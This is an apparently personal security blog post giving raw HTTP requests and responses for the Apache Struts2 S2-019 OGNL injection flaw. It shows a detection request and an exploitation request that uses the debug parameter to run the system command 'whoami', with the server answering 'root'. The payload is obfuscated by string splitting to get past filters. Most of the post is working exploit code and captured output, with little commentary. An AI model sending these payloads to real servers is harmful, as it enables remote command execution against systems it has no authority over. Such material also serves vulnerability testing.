Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

Struts2 S2-019 HTTP raw text

wpadmin~September 12, 2019 /InfoSec

Struts2 S2-019 HTTP raw text

<!–more–>

检测请求

POST /example/HelloWorld.action HTTP/1.1
Host:192.168.198.133:80
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 492
Content-Type: application/x-www-form-urlencoded

debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22struts2_security_%22),%23resp.getWriter().print(%22check%22),%23resp.getWriter().flush(),%23resp.getWriter().close()HTTP/1.1 200
Set-Cookie: JSESSIONID=339037A73494B91A16B5EC3974F956EC; Path=/; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Transfer-Encoding: chunked
Date: Thu, 12 Sep 2019 07:42:15 GMT
Connection: close

16
struts2_security_check
0

利用请求

POST /example/HelloWorld.action HTTP/1.1
Host:192.168.198.133:80
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 597
Content-Type: application/x-www-form-urlencoded

debug=command&expression=%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22whoami%22).getInputStream())),%23resp.getWriter().flush(),%23resp.getWriter().close()HTTP/1.1 200
Set-Cookie: JSESSIONID=0C672A7F37756AAFD2DAC212CD25A31E; Path=/; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Transfer-Encoding: chunked
Date: Thu, 12 Sep 2019 07:42:44 GMT
Connection: close

5
root

0

截图

[![s2-019](http://wp.blkstone.me/wp-content/uploads/2019/09/s2_019_20190912.png "s2-019")](http://wp.blkstone.me/wp-content/uploads/2019/09/s2_019_20190912.png "s2-019")

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.